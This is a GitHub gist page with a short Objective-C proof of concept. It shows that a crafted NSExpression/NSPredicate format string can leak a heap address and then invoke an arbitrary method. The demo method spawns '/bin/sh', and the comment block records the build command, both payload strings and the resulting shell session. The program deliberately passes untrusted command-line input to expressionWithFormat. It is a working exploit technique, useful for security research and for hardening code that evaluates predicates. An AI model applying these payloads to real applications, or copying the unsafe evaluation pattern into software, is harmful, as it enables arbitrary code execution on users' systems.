Created
April 9, 2022 03:20
-
-
Save aemmitt-ns/ffd7fb78ec12d53f91d470ff07d89ebc to your computer and use it in GitHub Desktop.
Non-deprecated NSPredicate arbitrary code exec example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Foundation/Foundation.h> | |
/* | |
[~/predicament]$ gcc -framework Foundation -lobjc -o predicament predicament.m | |
[~/predicament]$ ./predicament "function('','stringByAppendingFormat:','%lld ').longLongValue" | |
Expr: 'FUNCTION("", "stringByAppendingFormat:" , "%lld ").longLongValue' (type: 4) | |
Value: 105553129238592 | |
Danger: 105553129237664 (offset 928) | |
[~/predicament]$ ./predicament "function(function('','stringByAppendingFormat:','%lld ').longLongValue-928,'longValue').dangerous" | |
Expr: 'FUNCTION(FUNCTION("", "stringByAppendingFormat:" , "%lld ").longLongValue - 928, "longValue").dangerous' (type: 4) | |
sh-3.2$ ls | |
predicament predicament.m | |
sh-3.2$ | |
*/ | |
@interface Danger:NSObject { | |
double length; | |
double breadth; | |
double height; | |
} | |
@end | |
@implementation Danger | |
-(id)init { | |
self = [super init]; | |
return self; | |
} | |
-(NSString *) description { | |
return @"lol"; | |
} | |
-(void) dangerous { | |
system("/bin/sh"); | |
} | |
@end | |
int main(int argc, char *argv[]) { | |
if (argc != 2) { | |
printf("usage: %s predicate\n", argv[0]); | |
exit(1); | |
} | |
@autoreleasepool { | |
NSString *content = [NSString stringWithUTF8String:argv[1]]; | |
NSMutableDictionary *context = [NSMutableDictionary dictionary]; | |
Danger *danger = [Danger new]; | |
NSExpression *expr = [NSExpression expressionWithFormat:content]; | |
printf("Expr: '%s' (type: %lu)\n\n", expr.description.UTF8String, | |
(unsigned long)expr.expressionType); | |
NSNumber *value = [expr expressionValueWithObject:nil context:context]; | |
long long offset = value.longLongValue-(long long)danger; | |
printf("Value: %s\n", value.description.UTF8String); | |
printf("Danger: %lld (offset %lld)\n", (long long)danger, offset); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment